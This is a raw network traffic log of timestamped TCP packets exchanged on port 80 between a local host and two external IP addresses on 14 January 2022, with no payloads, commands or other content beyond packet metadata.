Jan 14, 2022 12:30:14.144494057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144583941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144675016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144764900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144850016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.144943953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145029068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145128012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145216942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145308971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145397902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145484924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145576954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145664930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145756960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145843983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.145932913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146023035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146121025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146224976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146307945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146390915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146486998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146574020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146667957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146756887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146842957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.146934986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.147022963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.147125006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.147217989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.147304058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.149007082 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149044991 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149076939 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149107933 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149137974 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149137974 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149163008 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149173021 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149204969 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149233103 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149236917 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149264097 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149296045 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149308920 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149323940 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149348974 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149355888 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149385929 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149426937 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149444103 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149457932 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149477005 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149486065 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149517059 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149535894 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149547100 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149578094 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149606943 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149627924 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149636030 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149652004 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149667978 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149698019 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149719000 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149727106 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149756908 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149775982 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149787903 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149816990 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149840117 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149872065 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149908066 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149939060 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149959087 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149967909 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.149990082 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.149997950 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150027990 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150060892 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150091887 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150094032 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150122881 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150147915 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150156021 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150187969 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150202036 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150218964 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150242090 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150252104 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150275946 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150309086 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150327921 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150341988 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150369883 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150403023 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150408983 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150435925 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150449991 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150468111 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150500059 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.150521994 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.150542974 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.153203011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.153471947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.153598070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.153681993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.153760910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.153856993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.153964996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154059887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154148102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154246092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154331923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154437065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154531956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154628992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154720068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154818058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154920101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.154999971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155102968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155191898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155294895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155378103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155481100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155565977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155673981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155755997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155847073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.155930996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156019926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156101942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156196117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156277895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156371117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156455994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156543970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156622887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156717062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156795979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156888962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.156971931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157062054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157145023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157239914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157318115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157411098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157495975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157587051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157666922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157762051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157839060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.157934904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158018112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158104897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158190012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158283949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158366919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158474922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158565998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158663988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158752918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158853054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.158936024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159039021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159152985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159260988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159347057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159451008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159537077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159643888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159729958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159816980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159899950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.159996033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160073042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160309076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160428047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160507917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160589933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160674095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160754919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160839081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.160917997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161005020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161083937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161183119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161262989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161350965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161441088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161596060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161747932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161868095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.161950111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162029028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162122965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162201881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162288904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162369967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162470102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162563086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162652016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162740946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162828922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.162923098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.163053989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.163155079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.163255930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.167746067 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167768955 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167783976 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167798042 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167817116 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167833090 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.167834997 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167854071 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167867899 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.167872906 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167891026 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167901993 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.167908907 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167926073 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167927027 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.167943954 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167958021 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.167963028 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167982101 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.167999983 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168004036 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168015957 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168031931 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168034077 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168052912 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168068886 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168070078 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168087006 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168106079 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168109894 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168123007 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168139935 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168142080 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168157101 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168175936 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168175936 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168194056 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168204069 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168210983 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168227911 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168240070 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168248892 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168267965 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168284893 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168297052 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168303967 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168320894 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168329000 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168339968 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168356895 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168355942 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168374062 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168392897 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168395042 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168412924 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168431044 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168432951 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168447971 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168466091 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168477058 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168486118 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168488026 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168503046 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168519974 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168536901 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168539047 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168556929 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168567896 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168576002 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168592930 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168610096 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168611050 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168629885 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168644905 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168648005 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168664932 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168683052 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168687105 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168700933 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168715954 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168720007 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168739080 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168745995 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168756008 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168773890 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168792009 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168807983 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168809891 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168828011 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168828964 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168844938 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168844938 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168859959 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168864012 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168881893 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168895006 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168900013 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168917894 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168932915 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168936968 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168955088 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168972969 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.168984890 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.168989897 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169003963 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169008017 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169018984 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169025898 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169039011 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169044971 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169063091 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169075966 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169080973 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169099092 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169115067 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169121981 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169131041 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169131994 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169148922 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169164896 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169183016 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169184923 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169199944 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169217110 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169222116 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169234037 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169239998 CET	49911	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:14.169251919 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169269085 CET	80	49911	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:14.169286966 CET	80	49911	8.209.70.0	192.168.2.4
